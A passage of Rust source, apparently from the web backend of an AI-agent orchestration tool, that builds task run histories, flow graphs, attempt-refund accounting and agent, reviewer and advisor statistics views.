5367 attempt: AttemptCost,
5369 exit_label: String,
5372 later_pass: Option<usize>,
5375 pass_n: usize,
5379 passes_of_run: usize,
5380 pass: Option<PassView>,
5383 branch: Option<String>,
5385 badge: Option<String>,
5388}
5389
5390#[derive(Debug, Clone, PartialEq, Serialize)]
5392struct PassView {
5393 index: usize,
5394 resumed: bool,
5395 started_at: Timestamp,
5396 ended_at: Option<Timestamp>,
5397 end: &'static str,
5399 cause: Option<crate::run::ParkCause>,
5400 label: String,
5402 cost: Option<crate::queue::PassCost>,
5405}
5406
5407impl PassView {
5408 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5409 use crate::run::PassEnd;
5410 let (end, cause, label) = match &p.end {
5411 None => ("open", None, "still open".to_owned()),
5412 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5413 Some(PassEnd::Unrecorded) => (
5414 "unrecorded",
5415 None,
5416 "stopped without recording why (a crash, a kill or a restart; not known)"
5417 .to_owned(),
5418 ),
5419 };
5420 Self {
5421 index: p.index,
5422 resumed: p.resumed,
5423 started_at: p.started_at,
5424 ended_at: p.ended_at,
5425 end,
5426 cause,
5427 label,
5428 cost: settled.map(|t| t.cost),
5429 }
5430 }
5431}
5432
5433#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5435#[serde(rename_all = "snake_case")]
5436enum RunExit {
5437 Unreadable,
5438 Interrupted,
5440 Parked,
5441 QuotaStall,
5442 ResumedQuotaStall,
5446 Merged,
5447 Ready,
5448 Superseded,
5449 AlreadyInBase,
5452 Stalled,
5454 HeldWithPr,
5456 NoopHeld,
5457 Spent,
5459 InProgress,
5460}
5461
5462#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5463#[serde(rename_all = "snake_case")]
5464enum AttemptCost {
5465 Spent,
5466 Refunded,
5467 None,
5468 Unknown,
5470}
5471
5472impl RunExit {
5473 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5474 let Some(s) = s else {
5475 return Self::Unreadable;
5476 };
5477 let status = s.status;
5478 if resumed_later {
5479 Self::Interrupted
5480 } else if s.parked {
5481 Self::Parked
5482 } else if !status.done() {
5483 Self::InProgress
5484 } else if matches!(status, RunStatus::Merged) {
5485 Self::Merged
5486 } else if matches!(status, RunStatus::Ready) {
5487 Self::Ready
5488 } else if matches!(status, RunStatus::Superseded) {
5489 Self::Superseded
5490 } else if matches!(status, RunStatus::AlreadyInBase) {
5491 Self::AlreadyInBase
5492 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5493 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5494 {
5495 if resumed {
5496 Self::ResumedQuotaStall
5497 } else {
5498 Self::QuotaStall
5499 }
5500 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5501 Self::HeldWithPr
5502 } else if matches!(status, RunStatus::VerifiedNoop) {
5503 Self::NoopHeld
5504 } else if matches!(status, RunStatus::Stalled) {
5505 Self::Stalled
5506 } else {
5507 Self::Spent
5508 }
5509 }
5510
5511 fn cost(self) -> AttemptCost {
5512 match self {
5513 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5514 Self::Merged
5515 | Self::Ready
5516 | Self::Stalled
5517 | Self::HeldWithPr
5518 | Self::NoopHeld
5519 | Self::Spent => AttemptCost::Spent,
5520 Self::InProgress => AttemptCost::None,
5521 Self::AlreadyInBase => AttemptCost::Refunded,
5522 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5523 AttemptCost::Unknown
5524 }
5525 }
5526 }
5527
5528 fn edge_label(self, status: Option<&str>) -> String {
5530 match self {
5531 Self::Unreadable => "record unreadable".to_owned(),
5532 Self::Interrupted => "interrupted before the run finished".to_owned(),
5533 Self::Parked => "parked, attempt refunded".to_owned(),
5534 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5535 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5536 Self::Merged => "merged".to_owned(),
5537 Self::Ready => "ready, not merged".to_owned(),
5538 Self::Superseded => "superseded by a later attempt".to_owned(),
5539 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5540 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5541 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5542 Self::NoopHeld => "verified no-op".to_owned(),
5543 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5544 Self::InProgress => "in progress".to_owned(),
5545 }
5546 }
5547
5548 fn explains(self, end: TaskStatus) -> bool {
5551 match self {
5552 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5553 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5554 Self::Unreadable | Self::Superseded | Self::Ready => true,
5555 _ => end != TaskStatus::Done,
5556 }
5557 }
5558}
5559
5560#[derive(Debug, Serialize)]
5562struct TaskDetailView {
5563 #[serde(flatten)]
5564 task: TaskView,
5565 max_attempts: usize,
5568 history: Vec<TaskRunView>,
5569 passes_total: usize,
5572 runs_distinct: usize,
5574 flow: FlowView,
5575 followup_origin: Option<FollowUpOrigin>,
5577 runs_unreadable: usize,
5579 attempts_note: &'static str,
5581}
5582
5583const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5584and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5585on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5586the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5587
5588fn review_branch_of(instruction: &str) -> Option<&str> {
5591 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5592 rest.split('`').next().filter(|b| !b.is_empty())
5593}
5594
5595#[derive(Default)]
5597struct RunSlot<'a> {
5598 n: usize,
5600 resumed: bool,
5602 resumed_later: Option<usize>,
5604 prior: Option<(&'a str, RunStatus)>,
5606 last: bool,
5607 pass: Option<&'a crate::run::RunPass>,
5609 settled: Option<&'a crate::queue::TaskPass>,
5611 pass_n: usize,
5613 passes_of_run: usize,
5614}
5615
5616fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5619 let RunSlot {
5620 n,
5621 resumed,
5622 resumed_later,
5623 prior,
5624 last,
5625 pass,
5626 settled,
5627 pass_n,
5628 passes_of_run,
5629 } = at;
5630 let short = run::short_of(id).to_owned();
5631 let Some(s) = state else {
5632 return TaskRunView {
5633 n,
5634 id: id.to_owned(),
5635 short,
5636 kind: "unknown",
5637 status: None,
5638 readable: false,
5639 provisional: false,
5640 description:
5641 "This run's record could not be read by this build (written by a different \
5642 magi, or removed), so what kind of attempt it was is unknown."
5643 .to_owned(),
5644 outcome: String::new(),
5645 created_at: None,
5646 pr: None,
5647 exit: RunExit::Unreadable,
5648 attempt: AttemptCost::Unknown,
5649 exit_label: RunExit::Unreadable.edge_label(None),
5650 later_pass: resumed_later,
5651 pass_n,
5652 passes_of_run,
5653 pass: None,
5654 branch: None,
5655 badge: None,
5656 };
5657 };
5658 let branch = review_branch_of(&s.instruction);
5659 let kind = if resumed {
5660 "resume"
5661 } else if branch.is_some() {
5662 "review"
5663 } else if task.solo || s.candidates.len() == 1 {
5664 "solo"
5665 } else {
5666 "competition"
5667 };
5668 let mut description = match kind {
5669 "resume" => {
5670 format!("Resumed run {short}: the same run carried on instead of competing again.")
5671 }
5672 "review" => format!(
5673 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5674 branch.unwrap_or_default()
5675 ),
5676 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5677 _ => format!(
5678 "Competition: {} candidates judged blind.",
5679 s.candidates.len().max(1)
5680 ),
5681 };
5682 if !resumed && let Some((p, st)) = prior {
5683 description.push_str(&format!(
5684 " A retry: run {p} before it ended {}.",
5685 st.display_label()
5686 ));
5687 }
5688
5689 let status = s.status;
5690 let provisional = matches!(status, RunStatus::Stalled)
5691 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
5692 let head = if resumed_later.is_some() {
5693 String::new()
5694 } else {
5695 match status {
5696 RunStatus::Merged => "Merged.".to_owned(),
5697 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
5698 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
5699 RunStatus::AlreadyInBase => {
5700 "Already in the base: this change landed under other commits, nothing was left to land."
5701 .to_owned()
5702 }
5703 RunStatus::Stalled => {
5704 "Stalled: the judging panel never reached a quorum, so there is no verdict."
5705 .to_owned()
5706 }
5707 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
5708 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
5709 RunStatus::VerifiedNoop => {
5710 "Verified no-op: the candidates found nothing to change.".to_owned()
5711 }
5712 other if other.done() => format!("Ended {}.", other.display_label()),
5713 other => format!("In progress ({}).", other.display_label()),
5714 }
5715 };
5716 let view = pass.map(|p| PassView::of(p, settled));
5717 let recorded_end = view
5718 .as_ref()
5719 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
5720 let cost_words = match view.as_ref().and_then(|v| v.cost) {
5721 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
5722 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
5723 None => "whether its attempt was handed back was not recorded",
5724 };
5725 let pass_note = if passes_of_run > 1 {
5726 format!(
5727 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
5728 )
5729 } else {
5730 String::new()
5731 };
5732 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
5733 let cause = match v.end {
5735 "parked" => format!("It was stopped on purpose: {}.", v.label),
5736 _ => format!("It {}.", v.label),
5737 };
5738 format!(
5739 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
5740 capitalise(cost_words)
5741 )
5742 } else if let Some(k) = resumed_later {
5743 let cause = if s.quota.is_empty() {
5750 "the cause was not recorded: a park, a crash or a restart all look the same from here"
5751 } else {
5752 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
5753 };
5754 format!(
5755 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5756 )
5757 } else if s.parked {
5758 match recorded_end.and_then(|v| v.cause.as_ref()) {
5759 Some(cause) => format!(
5760 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5761 cause.label(),
5762 cost_words
5763 ),
5764 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5765 .to_owned(),
5766 }
5767 } else if !status.done()
5768 || matches!(
5769 status,
5770 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5771 )
5772 {
5773 String::new()
5774 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5775 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5776 {
5777 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5778 .to_owned()
5779 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5780 " It left a pull request open, so the task was held for a person rather than retried."
5781 .to_owned()
5782 } else if matches!(status, RunStatus::VerifiedNoop) {
5783 " Held for a person to check the claim.".to_owned()
5784 } else if last {
5785 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5786 } else {
5787 " It spent an attempt, and the task moved on to the next run.".to_owned()
5788 };
5789 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5790 let mut attempt = exit.cost();
5791 let mut exit_label = None;
5792 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5793 let spent = match v.cost {
5794 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5795 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5796 None if resumed_later.is_some() => ", refund not recorded",
5797 None => ", attempt refunded",
5798 };
5799 attempt = match v.cost {
5800 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5801 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5802 None if resumed_later.is_some() => AttemptCost::Unknown,
5803 None => attempt,
5804 };
5805 if v.end == "parked" {
5806 exit = RunExit::Parked;
5807 exit_label = Some(match v.cause.as_ref() {
5808 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5809 format!("parked for {}{spent}", c.label())
5810 }
5811 Some(c) => format!("parked ({}){spent}", c.label()),
5812 None => format!("parked{spent}"),
5813 });
5814 } else {
5815 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5816 }
5817 }
5818 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5819 TaskRunView {
5820 n,
5821 id: id.to_owned(),
5822 short,
5823 kind,
5824 status: Some(status.as_str()),
5825 readable: true,
5826 provisional,
5827 description,
5828 outcome: format!("{head}{why}"),
5829 created_at: Some(s.created_at),
5830 pr: s.pr.as_ref().map(|p| p.url.clone()),
5831 exit,
5832 attempt,
5833 exit_label,
5834 later_pass: resumed_later,
5835 pass_n,
5836 passes_of_run,
5837 pass: view,
5838 branch: branch.map(str::to_owned),
5839 badge: None,
5840 }
5841}
5842
5843fn capitalise(s: &str) -> String {
5844 let mut c = s.chars();
5845 c.next().map_or_else(String::new, |f| {
5846 f.to_uppercase().collect::<String>() + c.as_str()
5847 })
5848}
5849
5850#[derive(Debug, Serialize, PartialEq)]
5852struct FlowNode {
5853 key: String,
5855 kind: &'static str,
5857 label: String,
5858 status: Option<&'static str>,
5861 status_of: &'static str,
5864 note: Option<&'static str>,
5866 run_kind: Option<&'static str>,
5867 detail: Option<String>,
5868 decided: bool,
5870 readable: bool,
5871 href: Option<String>,
5872 badge: Option<String>,
5874 started_at: Option<Timestamp>,
5876 time_expected: bool,
5878}
5879
5880#[derive(Debug, Serialize, PartialEq)]
5881struct FlowEdge {
5882 from: String,
5883 to: String,
5884 label: String,
5885 attempt: AttemptCost,
5886}
5887
5888#[derive(Debug, Serialize, PartialEq)]
5889struct FlowView {
5890 nodes: Vec<FlowNode>,
5891 edges: Vec<FlowEdge>,
5892 attempts: usize,
5894 max_attempts: usize,
5895 passes: usize,
5898 runs: usize,
5899}
5900
5901fn task_flow(
5910 task: &Task,
5911 history: &[TaskRunView],
5912 max_attempts: usize,
5913 origin: Option<&FollowUpOrigin>,
5914) -> FlowView {
5915 let max_attempts = task.effective_attempt_limit(max_attempts);
5916 let node = |key: &str, kind, label: String| FlowNode {
5917 key: key.to_owned(),
5918 kind,
5919 label,
5920 status: None,
5921 status_of: "run",
5922 note: None,
5923 run_kind: None,
5924 detail: None,
5925 decided: false,
5926 readable: true,
5927 href: None,
5928 badge: None,
5929 started_at: None,
5930 time_expected: matches!(kind, "start" | "run" | "end"),
5931 };
5932 let mut nodes = Vec::new();
5933 let mut edges: Vec<FlowEdge> = Vec::new();
5934 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5936 let mut n = node(
5937 "chat",
5938 "chat",
5939 format!("Chat {}", crate::queue::short(&link.id)),
5940 );
5941 n.href = Some(link.href);
5942 nodes.push(n);
5943 edges.push(FlowEdge {
5944 from: "chat".to_owned(),
5945 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5946 label: "queued from chat".to_owned(),
5947 attempt: AttemptCost::None,
5948 });
5949 }
5950 if let Some(o) = origin {
5951 let mut n = match &o.parent {
5952 Some(p) => {
5953 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5954 n.status = Some(p.status);
5955 n.status_of = "task";
5956 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5957 n.href = Some(p.href.clone());
5958 n
5959 }
5960 None => {
5961 let mut n = node(
5962 "origin",
5963 "followup",
5964 format!("Follow-up of run {}", o.run.short),
5965 );
5966 n.detail = Some("merged run".to_owned());
5967 n.status = o.run.status;
5968 n.href = o.run.href.clone();
5969 if o.run.href.is_none() {
5970 n.readable = false;
5971 n.note = Some("unreadable");
5972 }
5973 n
5974 }
5975 };
5976 n.decided = true;
5977 let from = n.key.clone();
5978 nodes.push(n);
5979 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5980 let more = o.findings.len().saturating_sub(shown.len());
5981 let label = match (shown.is_empty(), more) {
5982 (true, _) => "open findings".to_owned(),
5983 (false, 0) => format!("open findings {}", shown.join(", ")),
5984 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5985 };
5986 edges.push(FlowEdge {
5987 from,
5988 to: "start".to_owned(),
5989 label,
5990 attempt: AttemptCost::None,
5991 });
5992 }
5993 let mut start = node("start", "start", "Task queued".to_owned());
5994 start.started_at = Some(task.created_at);
5995 nodes.push(start);
5996 let mut prev = "start".to_owned();
5997 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5998 for (i, h) in history.iter().enumerate() {
5999 let key = format!("run-{}", h.n);
6000 let mut n = node(&key, "run", format!("Run {}", h.short));
6001 n.started_at = h
6004 .readable
6005 .then(|| {
6006 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6007 h.created_at
6008 } else {
6009 None
6010 })
6011 })
6012 .flatten();
6013 n.run_kind = Some(h.kind);
6014 n.readable = h.readable;
6015 n.href = Some(format!("#/runs/{}", h.id));
6016 n.decided = h.readable && !h.provisional;
6017 n.detail = h
6018 .branch
6019 .as_ref()
6020 .map(|b| format!("review-only run of branch {b}"));
6021 match h.exit {
6022 RunExit::Unreadable => n.note = Some("unreadable"),
6023 RunExit::Interrupted => n.note = Some("interrupted"),
6024 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6027 _ => {
6028 n.status = h.status;
6029 n.badge = h.badge.clone();
6030 if h.provisional {
6031 n.note = Some("no verdict");
6032 }
6033 }
6034 }
6035 let into = match h.kind {
6036 "review" => Some(format!(
6037 "review-only run of branch {}",
6038 h.branch.as_deref().unwrap_or("?")
6039 )),
6040 "resume" => Some("resume the same run".to_owned()),
6041 _ if i > 0 => Some("retry".to_owned()),
6042 _ => None,
6043 };
6044 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6045 let label = match (prev_exit, into) {
6046 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6047 (Some((_, l, _)), None) => l,
6048 (None, Some(i)) => i,
6049 (None, None) => "claimed".to_owned(),
6050 };
6051 edges.push(FlowEdge {
6052 from: prev.clone(),
6053 to: key.clone(),
6054 label,
6055 attempt,
6056 });
6057 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6058 prev = key;
6059 nodes.push(n);
6060 }
6061 let mut end = node("end", "end", task.status.as_str().to_owned());
6062 end.status = Some(task.status.as_str());
6063 end.status_of = "task";
6064 if task.status == TaskStatus::Held {
6067 end.started_at = task.held_at;
6068 }
6069 nodes.push(end);
6070 let (label, attempt) = match prev_exit {
6071 None => (
6072 format!("no run yet \u{2192} {}", task.status.as_str()),
6073 AttemptCost::None,
6074 ),
6075 Some((e, l, cost)) if e.explains(task.status) => {
6076 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6077 }
6078 Some((_, _, cost)) => (
6079 format!("closed by hand: task is {}", task.status.as_str()),
6080 cost,
6081 ),
6082 };
6083 edges.push(FlowEdge {
6084 from: prev,
6085 to: "end".to_owned(),
6086 label,
6087 attempt,
6088 });
6089 FlowView {
6090 nodes,
6091 edges,
6092 attempts: task.attempts,
6093 max_attempts,
6094 passes: history.len(),
6095 runs: distinct_runs(&task.runs),
6096 }
6097}
6098
6099fn distinct_runs(runs: &[String]) -> usize {
6101 let mut seen: Vec<&str> = Vec::new();
6102 for r in runs {
6103 if !seen.contains(&r.as_str()) {
6104 seen.push(r);
6105 }
6106 }
6107 seen.len()
6108}
6109
6110fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6112 let mut slots = Vec::new();
6113 let mut seen = Vec::new();
6114 for run_id in &task.runs {
6115 if seen.contains(&run_id) {
6116 continue;
6117 }
6118 seen.push(run_id);
6119 let state = read(run_id);
6120 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6121 s.passes
6122 .iter()
6123 .filter(|p| {
6124 p.task_entry
6125 || task
6126 .passes
6127 .iter()
6128 .any(|t| t.run == *run_id && t.pass_index == p.index)
6129 })
6130 .cloned()
6131 .collect()
6132 });
6133 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6134 let total = legacy_count.max(mine.len());
6135 let offset = total - mine.len();
6136 for k in 0..total {
6137 let position = task
6140 .runs
6141 .iter()
6142 .enumerate()
6143 .filter(|(_, r)| *r == run_id)
6144 .nth(k.min(legacy_count - 1))
6145 .unwrap()
6146 .0;
6147 slots.push((
6148 run_id,
6149 state.clone(),
6150 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6151 position,
6152 ));
6153 }
6154 }
6155 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6156 slots.sort_by_key(|(_, state, pass, _)| {
6157 pass.as_ref()
6158 .map(|p| p.started_at)
6159 .or_else(|| state.as_ref().map(|s| s.created_at))
6160 .map_or((true, task.created_at), |at| (false, at))
6161 });
6162 } else {
6163 slots.sort_by_key(|(_, _, _, position)| *position);
6164 }
6165 let mut history = Vec::with_capacity(slots.len());
6166 let mut seen: Vec<&str> = Vec::new();
6167 let mut prior: Option<(&str, RunStatus)> = None;
6168 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6169 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6170 let resumed = k > 0;
6171 seen.push(run_id);
6172 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6173 let pass = pass.as_ref();
6174 let settled = pass.and_then(|p| {
6175 task.passes
6176 .iter()
6177 .find(|t| t.run == **run_id && t.pass_index == p.index)
6178 });
6179 history.push(task_run_view(
6180 run_id,
6181 state.as_ref(),
6182 RunSlot {
6183 n: i + 1,
6184 resumed,
6185 resumed_later: slots[i + 1..]
6186 .iter()
6187 .position(|(id, _, _, _)| id == run_id)
6188 .map(|off| i + off + 2),
6189 prior,
6190 last: i + 1 == slots.len(),
6191 pass,
6192 settled,
6193 pass_n: k + 1,
6194 passes_of_run: total,
6195 },
6196 task,
6197 ));
6198 if let Some(s) = &state {
6199 prior = Some((run::short_of(run_id), s.status));
6200 }
6201 }
6202 history
6203}
6204
6205fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6208 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6209 return;
6210 }
6211 let (_, claimed, _) = run_row_inputs(ui);
6212 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6213 for h in history
6214 .iter_mut()
6215 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6216 {
6217 let Ok(state) = read_run(&ui.runs, &h.id) else {
6218 continue;
6219 };
6220 if state.status.done() {
6221 continue;
6222 }
6223 let live = state.liveness_with(
6224 claimed.contains(&h.id),
6225 |p| probe.borrow_mut().status(p),
6226 |p| probe.borrow_mut().started_at(p),
6227 );
6228 let waiting = !ui.questions.open_for(&h.id).is_empty();
6229 let display = run_display_status(&state, waiting, live);
6230 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6231 if matches!(word.as_str(), "stale" | "superseded")
6232 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6233 {
6234 h.badge = Some(word);
6235 }
6236 }
6237}
6238
6239async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6240 blocking(move || {
6241 let id = resolve_task(&ui.queue, &id)?;
6242 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6243 })
6244 .await
6245}
6246
6247async fn task_detail(
6248 State(ui): State<Arc<Ui>>,
6249 Path(id): Path<String>,
6250) -> ApiResult<Json<TaskDetailView>> {
6251 blocking(move || {
6252 let id = resolve_task(&ui.queue, &id)?;
6253 let task = ui
6254 .queue
6255 .get(&id)
6256 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6257 let inv = if task.status == TaskStatus::Blocked {
6258 Some(crate::blockers::Inventory::load_for(
6259 &ui.queue,
6260 &ui.questions,
6261 &task,
6262 ))
6263 } else {
6264 None
6265 };
6266 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6267 mark_badges(&ui, &task, &mut history);
6268 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6269 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6270 let origin = task.followup.as_ref().map(|fu| {
6271 followup_origin(
6272 fu,
6273 |tid| ui.queue.get(tid).ok(),
6274 |rid| read_run(&ui.runs, rid).ok(),
6275 )
6276 });
6277 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6278 let task_view = match inv.as_ref() {
6279 Some(inv) => TaskView::with_inventory(task, inv),
6280 None => TaskView::from(task),
6281 };
6282 Ok(Json(TaskDetailView {
6283 max_attempts,
6284 flow,
6285 followup_origin: origin,
6286 passes_total: history.len(),
6287 runs_distinct: distinct_runs(&task_view.task.runs),
6288 history,
6289 runs_unreadable,
6290 attempts_note: ATTEMPTS_NOTE,
6291 task: task_view,
6292 }))
6293 })
6294 .await
6295}
6296
6297#[derive(Debug, Serialize)]
6301struct RateView {
6302 pct: f64,
6303 denominator: usize,
6304}
6305
6306impl RateView {
6307 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6308 (denominator > 0).then(|| Self {
6309 pct: 100.0 * numerator as f64 / denominator as f64,
6310 denominator,
6311 })
6312 }
6313}
6314
6315#[derive(Debug, Serialize)]
6320struct StatsTotalsView {
6321 runs: usize,
6322 merged: usize,
6323 ready: usize,
6324 blocked: usize,
6325 failed: usize,
6326 stalled: usize,
6327 verified_noop: usize,
6328 superseded: usize,
6329 in_progress: usize,
6330 completion_rate: Option<RateView>,
6331 tallied: usize,
6332 split: usize,
6333 split_rate: Option<RateView>,
6334 deliberated: usize,
6335 minds_changed: usize,
6336 converged: usize,
6337 review_rounds: usize,
6338}
6339
6340impl From<&stats::Totals> for StatsTotalsView {
6341 fn from(t: &stats::Totals) -> Self {
6342 Self {
6343 runs: t.runs,
6344 merged: t.merged,
6345 ready: t.ready,
6346 blocked: t.blocked,
6347 failed: t.failed,
6348 stalled: t.stalled,
6349 verified_noop: t.verified_noop,
6350 superseded: t.superseded,
6351 in_progress: t.in_progress,
6352 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6353 tallied: t.tallied,
6354 split: t.split,
6355 split_rate: RateView::of(t.split, t.tallied),
6356 deliberated: t.deliberated,
6357 minds_changed: t.minds_changed,
6358 converged: t.converged,
6359 review_rounds: t.review_rounds,
6360 }
6361 }
6362}
6363
6364#[derive(Debug, Serialize)]
6366struct AgentStatsView {
6367 agent: String,
6368 entered: usize,
6369 wins: usize,
6370 empty: usize,
6371 win_rate: Option<RateView>,
6372 competitive_entered: usize,
6373 competitive_wins: usize,
6374 competitive_win_rate: Option<RateView>,
6375 solo_entered: usize,
6376 solo_adopted: usize,
6377 solo_adoption_rate: Option<RateView>,
6378}
6379
6380impl From<&stats::AgentStats> for AgentStatsView {
6381 fn from(a: &stats::AgentStats) -> Self {
6382 Self {
6383 agent: a.agent.clone(),
6384 entered: a.entered,
6385 wins: a.wins,
6386 empty: a.empty,
6387 win_rate: RateView::of(a.wins, a.entered),
6388 competitive_entered: a.competitive_entered,
6389 competitive_wins: a.competitive_wins,
6390 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6391 solo_entered: a.solo_entered,
6392 solo_adopted: a.solo_adopted,
6393 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6394 }
6395 }
6396}
6397
6398#[derive(Debug, Serialize)]
6402struct ReviewerStatsView {
6403 agent: String,
6404 rounds: usize,
6405 seated: usize,
6406 submitted: usize,
6407 adopted: usize,
6408 unique: usize,
6409 timeouts: usize,
6410 adopted_per_round: Option<f64>,
6411 precision: Option<RateView>,
6412 unique_rate: Option<RateView>,
6413 timeout_rate: Option<RateView>,
6414}
6415
6416impl From<&stats::ReviewerStats> for ReviewerStatsView {
6417 fn from(r: &stats::ReviewerStats) -> Self {
6418 Self {
6419 agent: r.agent.clone(),
6420 rounds: r.rounds,
6421 seated: r.seated,
6422 submitted: r.submitted,
6423 adopted: r.adopted,
6424 unique: r.unique,
6425 timeouts: r.timeouts,
6426 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6427 precision: RateView::of(r.adopted, r.submitted),
6428 unique_rate: RateView::of(r.unique, r.submitted),
6429 timeout_rate: RateView::of(r.timeouts, r.seated),
6430 }
6431 }
6432}
6433
6434#[derive(Debug, Serialize)]
6440struct AdvisorStatsView {
6441 agent: String,
6442 seated: usize,
6443 proposed: usize,
6444 absent: usize,
6445 faint: usize,
6446 strong: usize,
6447 reflection_rate: Option<RateView>,
6448}
6449
6450impl From<&stats::AdvisorStats> for AdvisorStatsView {
6451 fn from(a: &stats::AdvisorStats) -> Self {
6452 Self {
6453 agent: a.agent.clone(),
6454 seated: a.seated,
6455 proposed: a.proposed,
6456 absent: a.absent,
6457 faint: a.faint,
6458 strong: a.strong,
6459 reflection_rate: RateView::of(a.strong, a.proposed),
6460 }
6461 }
6462}
6463
6464#[derive(Debug, Serialize)]
6466struct E2eStatsView {
6467 rounds: usize,
6468 failures: usize,
6469 sole_detections: usize,
6470 deferred: usize,
6471 sole_rate: Option<RateView>,
6472}
6473
6474impl From<&stats::E2eStats> for E2eStatsView {
6475 fn from(e: &stats::E2eStats) -> Self {
6476 Self {
6477 rounds: e.rounds,
6478 failures: e.failures,
6479 sole_detections: e.sole_detections,
